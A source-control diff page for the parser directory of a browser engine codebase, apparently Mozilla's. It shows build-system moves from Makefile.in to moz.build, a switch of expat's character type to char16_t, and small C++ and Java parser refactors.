summaryrefslogtreecommitdiff
path: root/parser
diff options
context:
space:
mode:
Diffstat (limited to 'parser')
-rw-r--r--parser/expat/expat_config.h15
-rw-r--r--parser/expat/lib/Makefile.in27
-rw-r--r--parser/expat/lib/expat_external.h2
-rw-r--r--parser/expat/lib/moz.build13
-rw-r--r--parser/expat/lib/xmlparse.c6
-rw-r--r--parser/expat/moz.build2
-rw-r--r--parser/html/Makefile.in23
-rw-r--r--parser/html/jArray.h45
-rw-r--r--parser/html/java/Makefile2
-rw-r--r--parser/html/javasrc/AttributeName.java24
-rw-r--r--parser/html/javasrc/ElementName.java29
-rw-r--r--parser/html/javasrc/Tokenizer.java51
-rw-r--r--parser/html/javasrc/TreeBuilder.java859
-rw-r--r--parser/html/moz.build35
-rw-r--r--parser/html/nsAHtml5TreeBuilderState.h14
-rw-r--r--parser/html/nsAHtml5TreeOpSink.h6
-rw-r--r--parser/html/nsHtml5ArrayCopy.h15
-rw-r--r--parser/html/nsHtml5Atom.cpp19
-rw-r--r--parser/html/nsHtml5Atom.h10
-rw-r--r--parser/html/nsHtml5AtomList.h36
-rw-r--r--parser/html/nsHtml5AtomTable.h24
-rw-r--r--parser/html/nsHtml5Atoms.cpp2
-rw-r--r--parser/html/nsHtml5Atoms.h6
-rw-r--r--parser/html/nsHtml5AttributeName.cpp951
-rw-r--r--parser/html/nsHtml5AttributeName.h19
-rw-r--r--parser/html/nsHtml5ByteReadable.h4
-rw-r--r--parser/html/nsHtml5DependentUTF16Buffer.cpp4
-rw-r--r--parser/html/nsHtml5DependentUTF16Buffer.h8
-rw-r--r--parser/html/nsHtml5DocumentBuilder.cpp145
-rw-r--r--parser/html/nsHtml5DocumentBuilder.h130
-rw-r--r--parser/html/nsHtml5DocumentMode.h6
-rw-r--r--parser/html/nsHtml5ElementName.cpp749
-rw-r--r--parser/html/nsHtml5ElementName.h20
-rw-r--r--parser/html/nsHtml5Highlighter.cpp48
-rw-r--r--parser/html/nsHtml5Highlighter.h45
-rw-r--r--parser/html/nsHtml5HtmlAttributes.cpp3
-rw-r--r--parser/html/nsHtml5HtmlAttributes.h9
-rw-r--r--parser/html/nsHtml5Macros.h6
-rw-r--r--parser/html/nsHtml5MetaScanner.cpp25
-rw-r--r--parser/html/nsHtml5MetaScanner.h17
-rw-r--r--parser/html/nsHtml5MetaScannerCppSupplement.h60
-rw-r--r--parser/html/nsHtml5MetaScannerHSupplement.h6
-rw-r--r--parser/html/nsHtml5Module.cpp14
-rw-r--r--parser/html/nsHtml5Module.h6
-rw-r--r--parser/html/nsHtml5NamedCharacters.cpp19
-rw-r--r--parser/html/nsHtml5NamedCharacters.h13
-rw-r--r--parser/html/nsHtml5NamedCharactersAccel.h7
-rw-r--r--parser/html/nsHtml5NamedCharactersInclude.h2
-rw-r--r--parser/html/nsHtml5OplessBuilder.cpp49
-rw-r--r--parser/html/nsHtml5OplessBuilder.h35
-rw-r--r--parser/html/nsHtml5OwningUTF16Buffer.cpp7
-rw-r--r--parser/html/nsHtml5OwningUTF16Buffer.h12
-rw-r--r--parser/html/nsHtml5Parser.cpp126
-rw-r--r--parser/html/nsHtml5Parser.h106
-rw-r--r--parser/html/nsHtml5PlainTextUtils.cpp2
-rw-r--r--parser/html/nsHtml5PlainTextUtils.h6
-rw-r--r--parser/html/nsHtml5Portability.cpp27
-rw-r--r--parser/html/nsHtml5Portability.h17
-rw-r--r--parser/html/nsHtml5RefPtr.h51
-rw-r--r--parser/html/nsHtml5ReleasableAttributeName.h8
-rw-r--r--parser/html/nsHtml5ReleasableElementName.h10
-rw-r--r--parser/html/nsHtml5SVGLoadDispatcher.cpp11
-rw-r--r--parser/html/nsHtml5SVGLoadDispatcher.h8
-rw-r--r--parser/html/nsHtml5Speculation.h20
-rw-r--r--parser/html/nsHtml5SpeculativeLoad.cpp15
-rw-r--r--parser/html/nsHtml5SpeculativeLoad.h101
-rw-r--r--parser/html/nsHtml5StackNode.cpp15
-rw-r--r--parser/html/nsHtml5StackNode.h21
-rw-r--r--parser/html/nsHtml5StateSnapshot.cpp11
-rw-r--r--parser/html/nsHtml5StateSnapshot.h21
-rw-r--r--parser/html/nsHtml5StreamListener.cpp82
-rw-r--r--parser/html/nsHtml5StreamListener.h55
-rw-r--r--parser/html/nsHtml5StreamParser.cpp349
-rw-r--r--parser/html/nsHtml5StreamParser.h91
-rw-r--r--parser/html/nsHtml5StringParser.cpp47
-rw-r--r--parser/html/nsHtml5StringParser.h19
-rw-r--r--parser/html/nsHtml5Tokenizer.cpp170
-rw-r--r--parser/html/nsHtml5Tokenizer.h86
-rw-r--r--parser/html/nsHtml5TokenizerCppSupplement.h20
-rw-r--r--parser/html/nsHtml5TokenizerHSupplement.h21
-rw-r--r--parser/html/nsHtml5TokenizerLoopPolicies.h18
-rw-r--r--parser/html/nsHtml5TreeBuilder.cpp633
-rw-r--r--parser/html/nsHtml5TreeBuilder.h94
-rw-r--r--parser/html/nsHtml5TreeBuilderCppSupplement.h562
-rw-r--r--parser/html/nsHtml5TreeBuilderHSupplement.h42
-rw-r--r--parser/html/nsHtml5TreeOpExecutor.cpp375
-rw-r--r--parser/html/nsHtml5TreeOpExecutor.h219
-rw-r--r--parser/html/nsHtml5TreeOpStage.h6
-rw-r--r--parser/html/nsHtml5TreeOperation.cpp908
-rw-r--r--parser/html/nsHtml5TreeOperation.h292
-rw-r--r--parser/html/nsHtml5UTF16Buffer.cpp5
-rw-r--r--parser/html/nsHtml5UTF16Buffer.h11
-rw-r--r--parser/html/nsHtml5UTF16BufferCppSupplement.h4
-rw-r--r--parser/html/nsHtml5UTF16BufferHSupplement.h2
-rw-r--r--parser/html/nsHtml5ViewSourceUtils.h6
-rw-r--r--parser/html/nsIContentHandle.h5
-rw-r--r--parser/html/nsParserUtils.cpp16
-rw-r--r--parser/html/nsParserUtils.h9
-rw-r--r--parser/htmlparser/CNavDTD.cpp91
-rw-r--r--parser/htmlparser/CNavDTD.h39
-rw-r--r--parser/htmlparser/CParserContext.cpp (renamed from parser/htmlparser/src/CParserContext.cpp)17
-rw-r--r--parser/htmlparser/CParserContext.h (renamed from parser/htmlparser/src/CParserContext.h)2
-rw-r--r--parser/htmlparser/moz.build46
-rw-r--r--parser/htmlparser/nsElementTable.cpp615
-rw-r--r--parser/htmlparser/nsElementTable.h92
-rw-r--r--parser/htmlparser/nsExpatDriver.cpp (renamed from parser/htmlparser/src/nsExpatDriver.cpp)241
-rw-r--r--parser/htmlparser/nsExpatDriver.h (renamed from parser/htmlparser/src/nsExpatDriver.h)71
-rw-r--r--parser/htmlparser/nsHTMLEntities.cpp (renamed from parser/htmlparser/src/nsHTMLEntities.cpp)74
-rw-r--r--parser/htmlparser/nsHTMLEntities.h (renamed from parser/htmlparser/src/nsHTMLEntities.h)0
-rw-r--r--parser/htmlparser/nsHTMLEntityList.h (renamed from parser/htmlparser/src/nsHTMLEntityList.h)0
-rw-r--r--parser/htmlparser/nsHTMLTagList.h (renamed from parser/htmlparser/public/nsHTMLTagList.h)12
-rw-r--r--parser/htmlparser/nsHTMLTags.cpp (renamed from parser/htmlparser/src/nsHTMLTags.cpp)304
-rw-r--r--parser/htmlparser/nsHTMLTags.h (renamed from parser/htmlparser/public/nsHTMLTags.h)8
-rw-r--r--parser/htmlparser/nsHTMLTokenizer.cpp60
-rw-r--r--parser/htmlparser/nsHTMLTokenizer.h35
-rw-r--r--parser/htmlparser/nsIContentSink.h (renamed from parser/htmlparser/public/nsIContentSink.h)2
-rw-r--r--parser/htmlparser/nsIDTD.h (renamed from parser/htmlparser/public/nsIDTD.h)23
-rw-r--r--parser/htmlparser/nsIExpatSink.idl (renamed from parser/htmlparser/public/nsIExpatSink.idl)6
-rw-r--r--parser/htmlparser/nsIExtendedExpatSink.idl (renamed from parser/htmlparser/public/nsIExtendedExpatSink.idl)2
-rw-r--r--parser/htmlparser/nsIFragmentContentSink.h (renamed from parser/htmlparser/public/nsIFragmentContentSink.h)19
-rw-r--r--parser/htmlparser/nsIHTMLContentSink.h (renamed from parser/htmlparser/public/nsIHTMLContentSink.h)84
-rw-r--r--parser/htmlparser/nsIParser.h (renamed from parser/htmlparser/public/nsIParser.h)27
-rw-r--r--parser/htmlparser/nsIParserService.h (renamed from parser/htmlparser/public/nsIParserService.h)8
-rw-r--r--parser/htmlparser/nsITokenizer.h44
-rw-r--r--parser/htmlparser/nsParser.cpp (renamed from parser/htmlparser/src/nsParser.cpp)248
-rw-r--r--parser/htmlparser/nsParser.h (renamed from parser/htmlparser/src/nsParser.h)101
-rw-r--r--parser/htmlparser/nsParserBase.h (renamed from parser/htmlparser/public/nsParserBase.h)0
-rw-r--r--parser/htmlparser/nsParserCIID.h (renamed from parser/htmlparser/public/nsParserCIID.h)0
-rw-r--r--parser/htmlparser/nsParserConstants.h39
-rw-r--r--parser/htmlparser/nsParserModule.cpp (renamed from parser/htmlparser/src/nsParserModule.cpp)26
-rw-r--r--parser/htmlparser/nsParserMsgUtils.cpp (renamed from parser/htmlparser/src/nsParserMsgUtils.cpp)0
-rw-r--r--parser/htmlparser/nsParserMsgUtils.h (renamed from parser/htmlparser/src/nsParserMsgUtils.h)0
-rw-r--r--parser/htmlparser/nsParserService.cpp (renamed from parser/htmlparser/src/nsParserService.cpp)4
-rw-r--r--parser/htmlparser/nsParserService.h (renamed from parser/htmlparser/src/nsParserService.h)24
-rw-r--r--parser/htmlparser/nsScanner.cpp (renamed from parser/htmlparser/src/nsScanner.cpp)182
-rw-r--r--parser/htmlparser/nsScanner.h (renamed from parser/htmlparser/src/nsScanner.h)27
-rw-r--r--parser/htmlparser/nsScannerString.cpp (renamed from parser/htmlparser/src/nsScannerString.cpp)91
-rw-r--r--parser/htmlparser/nsScannerString.h (renamed from parser/htmlparser/public/nsScannerString.h)95
-rw-r--r--parser/htmlparser/nsToken.h19
-rw-r--r--parser/htmlparser/public/moz.build33
-rw-r--r--parser/htmlparser/public/nsHTMLTokens.h376
-rw-r--r--parser/htmlparser/public/nsIElementObserver.h46
-rw-r--r--parser/htmlparser/public/nsIParserNode.h146
-rw-r--r--parser/htmlparser/public/nsITokenizer.h69
-rw-r--r--parser/htmlparser/public/nsParserConstants.h39
-rw-r--r--parser/htmlparser/public/nsToken.h263
-rw-r--r--parser/htmlparser/src/CNavDTD.cpp2907
-rw-r--r--parser/htmlparser/src/CNavDTD.h373
-rw-r--r--parser/htmlparser/src/Makefile.in22
-rw-r--r--parser/htmlparser/src/moz.build30
-rw-r--r--parser/htmlparser/src/nsDTDUtils.cpp985
-rw-r--r--parser/htmlparser/src/nsDTDUtils.h453
-rw-r--r--parser/htmlparser/src/nsElementTable.cpp2231
-rw-r--r--parser/htmlparser/src/nsElementTable.h237
-rw-r--r--parser/htmlparser/src/nsHTMLTokenizer.cpp1197
-rw-r--r--parser/htmlparser/src/nsHTMLTokenizer.h76
-rw-r--r--parser/htmlparser/src/nsHTMLTokens.cpp2362
-rw-r--r--parser/htmlparser/src/nsParserNode.cpp370
-rw-r--r--parser/htmlparser/src/nsParserNode.h296
-rw-r--r--parser/htmlparser/src/nsToken.cpp137
-rw-r--r--parser/htmlparser/tests/crashtests/981279-1.html15
-rw-r--r--parser/htmlparser/tests/crashtests/982285-1.html19
-rw-r--r--parser/htmlparser/tests/crashtests/crashtests.list4
-rw-r--r--parser/htmlparser/tests/mochitest/Makefile.in96
-rw-r--r--parser/htmlparser/tests/mochitest/blue.pngbin0 -> 2745 bytes
-rw-r--r--parser/htmlparser/tests/mochitest/dir_bug534293/Makefile.in17
-rw-r--r--parser/htmlparser/tests/mochitest/dir_bug534293/moz.build6
-rw-r--r--parser/htmlparser/tests/mochitest/file_bug672453_meta_userdefined.html1
-rw-r--r--parser/htmlparser/tests/mochitest/file_bug688580.js4
-rw-r--r--parser/htmlparser/tests/mochitest/file_img_picture_preload.html167
-rw-r--r--parser/htmlparser/tests/mochitest/file_img_picture_preload.sjs28
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/Makefile.in60
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/README.md104
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/adoption01.dat62
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/adoption02.dat68
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/comments01.dat43
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/doctype01.dat54
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/domjs-unsafe.datbin0 -> 9884 bytes
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/entities01.dat120
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/entities02.dat34
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/foreign-fragment.dat550
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/html5test-com.dat45
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/inbody01.dat11
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/isindex.dat27
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/main-element.dat19
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/moz.build7
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/pending-spec-changes-plain-text-unsafe.datbin115 -> 816 bytes
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/pending-spec-changes.dat24
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/plain-text-unsafe.datbin4166 -> 7925 bytes
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/ruby.dat298
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/scriptdata01.dat44
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/scripted/Makefile.in19
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/scripted/moz.build6
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tables01.dat74
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/template.dat1418
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests1.dat1012
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests10.dat186
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests11.dat24
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests14.dat5
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests15.dat62
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests16.dat563
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests17.dat27
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests18.dat81
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests19.dat274
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests2.dat175
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests20.dat61
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests21.dat54
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests22.dat39
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests23.dat19
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests25.dat7
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests26.dat138
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests3.dat43
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests4.dat1
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests5.dat42
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests6.dat317
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests7.dat70
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests8.dat67
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests9.dat150
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests_innerHTML_1.dat161
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/tricky01.dat73
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/webkit01.dat113
-rw-r--r--parser/htmlparser/tests/mochitest/html5lib_tree_construction/webkit02.dat22
-rw-r--r--parser/htmlparser/tests/mochitest/mochitest.ini146
-rw-r--r--parser/htmlparser/tests/mochitest/moz.build7
-rw-r--r--parser/htmlparser/tests/mochitest/parser_datreader.js32
-rw-r--r--parser/htmlparser/tests/mochitest/parser_web_testrunner.js21
-rw-r--r--parser/htmlparser/tests/mochitest/test_bug213517.html30
-rw-r--r--parser/htmlparser/tests/mochitest/test_bug418464.html5
-rw-r--r--parser/htmlparser/tests/mochitest/test_bug566879.html1
-rw-r--r--parser/htmlparser/tests/mochitest/test_bug599584.html1
-rw-r--r--parser/htmlparser/tests/mochitest/test_bug672453.html10
-rw-r--r--parser/htmlparser/tests/mochitest/test_bug688580.html64
-rw-r--r--parser/htmlparser/tests/mochitest/test_bug688580.xhtml62
-rw-r--r--parser/htmlparser/tests/mochitest/test_html5_tree_construction.html6
-rw-r--r--parser/htmlparser/tests/mochitest/test_html5_tree_construction_part2.html17
-rw-r--r--parser/htmlparser/tests/mochitest/test_img_picture_preload.html81
-rw-r--r--parser/htmlparser/tests/mochitest/test_viewsource.html49
-rw-r--r--parser/htmlparser/tests/moz.build7
-rw-r--r--parser/htmlparser/tests/reftest/bug910588-1-ref.html2
-rw-r--r--parser/htmlparser/tests/reftest/bug910588-1.html1
-rw-r--r--parser/htmlparser/tests/reftest/reftest.list1
-rw-r--r--parser/moz.build2
-rw-r--r--parser/nsCharsetSource.h4
-rw-r--r--parser/xml/moz.build34
-rw-r--r--parser/xml/nsIMozSAXXMLDeclarationHandler.idl (renamed from parser/xml/public/nsIMozSAXXMLDeclarationHandler.idl)0
-rw-r--r--parser/xml/nsISAXAttributes.idl (renamed from parser/xml/public/nsISAXAttributes.idl)0
-rw-r--r--parser/xml/nsISAXContentHandler.idl (renamed from parser/xml/public/nsISAXContentHandler.idl)0
-rw-r--r--parser/xml/nsISAXDTDHandler.idl (renamed from parser/xml/public/nsISAXDTDHandler.idl)0
-rw-r--r--parser/xml/nsISAXErrorHandler.idl (renamed from parser/xml/public/nsISAXErrorHandler.idl)0
-rw-r--r--parser/xml/nsISAXLexicalHandler.idl (renamed from parser/xml/public/nsISAXLexicalHandler.idl)0
-rw-r--r--parser/xml/nsISAXLocator.idl (renamed from parser/xml/public/nsISAXLocator.idl)0
-rw-r--r--parser/xml/nsISAXMutableAttributes.idl (renamed from parser/xml/public/nsISAXMutableAttributes.idl)0
-rw-r--r--parser/xml/nsISAXXMLFilter.idl (renamed from parser/xml/public/nsISAXXMLFilter.idl)0
-rw-r--r--parser/xml/nsISAXXMLReader.idl (renamed from parser/xml/public/nsISAXXMLReader.idl)0
-rw-r--r--parser/xml/nsSAXAttributes.cpp (renamed from parser/xml/src/nsSAXAttributes.cpp)2
-rw-r--r--parser/xml/nsSAXAttributes.h (renamed from parser/xml/src/nsSAXAttributes.h)3
-rw-r--r--parser/xml/nsSAXLocator.cpp (renamed from parser/xml/src/nsSAXLocator.cpp)2
-rw-r--r--parser/xml/nsSAXLocator.h (renamed from parser/xml/src/nsSAXLocator.h)4
-rw-r--r--parser/xml/nsSAXXMLReader.cpp (renamed from parser/xml/src/nsSAXXMLReader.cpp)101
-rw-r--r--parser/xml/nsSAXXMLReader.h (renamed from parser/xml/src/nsSAXXMLReader.h)24
-rw-r--r--parser/xml/public/moz.build23
-rw-r--r--parser/xml/src/Makefile.in20
-rw-r--r--parser/xml/src/moz.build22
-rw-r--r--parser/xml/test/moz.build2
-rw-r--r--parser/xml/test/unit/CC-BY-LICENSE59
-rw-r--r--parser/xml/test/unit/results.js844
-rw-r--r--parser/xml/test/unit/test_sanitizer.js21
-rw-r--r--parser/xml/test/unit/xpcshell.ini7
268 files changed, 13966 insertions, 18814 deletions
diff --git a/parser/expat/expat_config.h b/parser/expat/expat_config.h
index fad2c06bd..1f4de5ac4 100644
--- a/parser/expat/expat_config.h
+++ b/parser/expat/expat_config.h
@@ -27,10 +27,19 @@
#define XMLIMPORT
#define XML_UNICODE
-typedef PRUnichar XML_Char;
typedef char XML_LChar;
-#define XML_T(x) (PRUnichar)x
-#define XML_L(x) x
+/*
+ * The char16_t type is only usable in C++ code, so we need this ugly hack to
+ * select a binary compatible C type for the expat C code to use.
+ */
+#ifdef __cplusplus
+typedef char16_t XML_Char;
+#define XML_T(x) (char16_t)x
+#else
+#include <stdint.h>
+typedef uint16_t XML_Char;
+#define XML_T(x) (uint16_t)x
+#endif
#define XML_DTD
#define XML_NS
diff --git a/parser/expat/lib/Makefile.in b/parser/expat/lib/Makefile.in
deleted file mode 100644
index 473ed6bdd..000000000
--- a/parser/expat/lib/Makefile.in
+++ /dev/null
@@ -1,27 +0,0 @@
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-DEPTH = @DEPTH@
-topsrcdir = @top_srcdir@
-srcdir = @srcdir@
-VPATH = @srcdir@
-
-include $(DEPTH)/config/autoconf.mk
-
-MSVC_ENABLE_PGO := 1
-
-CSRCS = \
- xmlparse.c \
- xmlrole.c \
- xmltok.c \
- $(NULL)
-
-# We want only the static lib, not the shared lib
-FORCE_STATIC_LIB = 1
-
-include $(topsrcdir)/config/rules.mk
-
-xmltok.$(OBJ_SUFFIX): moz_extensions.c
-
-DEFINES += -DHAVE_EXPAT_CONFIG_H
diff --git a/parser/expat/lib/expat_external.h b/parser/expat/lib/expat_external.h
index e257c15f2..70c630bc9 100644
--- a/parser/expat/lib/expat_external.h
+++ b/parser/expat/lib/expat_external.h
@@ -82,7 +82,7 @@ extern "C" {
#define XML_UNICODE
#endif
-/* BEGIN MOZILLA CHANGE (typedef XML_Char to PRUnichar) */
+/* BEGIN MOZILLA CHANGE (typedef XML_Char to char16_t) */
#if 0
#ifdef XML_UNICODE /* Information is UTF-16 encoded. */
diff --git a/parser/expat/lib/moz.build b/parser/expat/lib/moz.build
index bea67ad77..c69dca4bc 100644
--- a/parser/expat/lib/moz.build
+++ b/parser/expat/lib/moz.build
@@ -4,12 +4,19 @@
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-MODULE = 'expat'
-
EXPORTS += [
'expat.h',
'expat_external.h',
]
-LIBRARY_NAME = 'mozexpat_s'
+SOURCES += [
+ 'xmlparse.c',
+ 'xmlrole.c',
+ 'xmltok.c',
+]
+
+MSVC_ENABLE_PGO = True
+
+FINAL_LIBRARY = 'gkmedias'
+DEFINES['HAVE_EXPAT_CONFIG_H'] = True
diff --git a/parser/expat/lib/xmlparse.c b/parser/expat/lib/xmlparse.c
index 045ffa15a..ad4e3698d 100644
--- a/parser/expat/lib/xmlparse.c
+++ b/parser/expat/lib/xmlparse.c
@@ -49,7 +49,7 @@ typedef char ICHAR;
#endif
-/* BEGIN MOZILLA CHANGE (typedef XML_Char to PRUnichar) */
+/* BEGIN MOZILLA CHANGE (typedef XML_Char to char16_t) */
#if 0
#ifdef XML_UNICODE
@@ -136,7 +136,9 @@ typedef struct {
#define INIT_DATA_BUF_SIZE 1024
#define INIT_ATTS_SIZE 16
#define INIT_ATTS_VERSION 0xFFFFFFFF
-#define INIT_BLOCK_SIZE 1024
+/* BEGIN MOZILLA CHANGE (Avoid slop in poolGrow() allocations) */
+#define INIT_BLOCK_SIZE ((int)(1024 - (offsetof(BLOCK, s) / sizeof(XML_Char))))
+/* END MOZILLA CHANGE */
#define INIT_BUFFER_SIZE 1024
#define EXPAND_SPARE 24
diff --git a/parser/expat/moz.build b/parser/expat/moz.build
index 255a1db77..e4d77fdc1 100644
--- a/parser/expat/moz.build
+++ b/parser/expat/moz.build
@@ -6,8 +6,6 @@
DIRS += ['lib']
-MODULE = 'expat'
-
EXPORTS += [
'expat_config.h',
]
diff --git a/parser/html/Makefile.in b/parser/html/Makefile.in
deleted file mode 100644
index 23273b0d4..000000000
--- a/parser/html/Makefile.in
+++ /dev/null
@@ -1,23 +0,0 @@
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-DEPTH = @DEPTH@
-topsrcdir = @top_srcdir@
-srcdir = @srcdir@
-VPATH = @srcdir@
-
-include $(DEPTH)/config/autoconf.mk
-
-MSVC_ENABLE_PGO := 1
-LIBXUL_LIBRARY = 1
-
-FORCE_STATIC_LIB = 1
-
-include $(topsrcdir)/config/rules.mk
-
-INCLUDES += \
- -I$(srcdir)/../../content/base/src \
- $(NULL)
-
-#DEFINES += -DENABLE_VOID_MENUITEM
diff --git a/parser/html/jArray.h b/parser/html/jArray.h
index ca16e5543..d28b8e952 100644
--- a/parser/html/jArray.h
+++ b/parser/html/jArray.h
@@ -20,10 +20,11 @@
* DEALINGS IN THE SOFTWARE.
*/
-#ifndef jArray_h_
-#define jArray_h_
+#ifndef jArray_h
+#define jArray_h
-#include "mozilla/NullPtr.h"
+#include "mozilla/Attributes.h"
+#include "mozilla/BinarySearch.h"
#include "nsDebug.h"
template<class T, class L>
@@ -33,19 +34,9 @@ struct staticJArray {
operator T*() { return arr; }
T& operator[] (L const index) { return ((T*)arr)[index]; }
L binarySearch(T const elem) {
- L lo = 0;
- L hi = length - 1;
- while (lo <= hi) {
- L mid = (lo + hi) / 2;
- if (arr[mid] > elem) {
- hi = mid - 1;
- } else if (arr[mid] < elem) {
- lo = mid + 1;
- } else {
- return mid;
- }
- }
- return -1;
+ size_t idx;
+ bool found = mozilla::BinarySearch(arr, 0, length, elem, &idx);
+ return found ? idx : -1;
}
};
@@ -77,7 +68,7 @@ class autoJArray {
, length(0)
{
}
- autoJArray(const jArray<T,L>& other)
+ MOZ_IMPLICIT autoJArray(const jArray<T,L>& other)
: arr(other.arr)
, length(other.length)
{
@@ -100,28 +91,12 @@ class autoJArray {
arr = other.arr;
length = other.length;
}
-#if defined(MOZ_HAVE_CXX11_NULLPTR)
-# if defined(__clang__) || defined(_STLPORT_VERSION)
- // clang on OS X 10.7 and Android's STLPort do not have std::nullptr_t
- typedef decltype(nullptr) jArray_nullptr_t;
-# else
- // decltype(nullptr) does not evaluate to std::nullptr_t on GCC 4.6.3
- typedef std::nullptr_t jArray_nullptr_t;
-# endif
-#elif defined(__GNUC__)
- typedef void* jArray_nullptr_t;
-#elif defined(_WIN64)
- typedef uint64_t jArray_nullptr_t;
-#else
- typedef uint32_t jArray_nullptr_t;
-#endif
- void operator=(jArray_nullptr_t zero) {
+ void operator=(decltype(nullptr)) {
// Make assigning null to an array in Java delete the buffer in C++
- // MSVC10 does not allow asserting that zero is null.
delete[] arr;
arr = nullptr;
length = 0;
}
};
-#endif // jArray_h_
+#endif // jArray_h
diff --git a/parser/html/java/Makefile b/parser/html/java/Makefile
index 0afb27d39..b8984e932 100644
--- a/parser/html/java/Makefile
+++ b/parser/html/java/Makefile
@@ -13,7 +13,7 @@ translator:: javaparser \
javaparser:: \
; mkdir -p javaparser/bin && \
find javaparser/src -name "*.java" | \
- xargs javac -g -d javaparser/bin && \
+ xargs javac -encoding ISO-8859-1 -g -d javaparser/bin && \
jar cf javaparser.jar -C javaparser/bin .
sync_javaparser:: \
diff --git a/parser/html/javasrc/AttributeName.java b/parser/html/javasrc/AttributeName.java
index 8e759f277..62babdf73 100644
--- a/parser/html/javasrc/AttributeName.java
+++ b/parser/html/javasrc/AttributeName.java
@@ -836,6 +836,7 @@ public final class AttributeName
public static final AttributeName STYLE = new AttributeName(ALL_NO_NS, SAME_LOCAL("style"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName RULES = new AttributeName(ALL_NO_NS, SAME_LOCAL("rules"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG | CASE_FOLDED);
public static final AttributeName STEMH = new AttributeName(ALL_NO_NS, SAME_LOCAL("stemh"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
+ public static final AttributeName SIZES = new AttributeName(ALL_NO_NS, SAME_LOCAL("sizes"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName STEMV = new AttributeName(ALL_NO_NS, SAME_LOCAL("stemv"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName START = new AttributeName(ALL_NO_NS, SAME_LOCAL("start"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName XMLNS = new AttributeName(XMLNS_NS, SAME_LOCAL("xmlns"), ALL_NO_PREFIX, IS_XMLNS);
@@ -890,6 +891,7 @@ public final class AttributeName
public static final AttributeName RADIUS = new AttributeName(ALL_NO_NS, SAME_LOCAL("radius"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName RESULT = new AttributeName(ALL_NO_NS, SAME_LOCAL("result"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
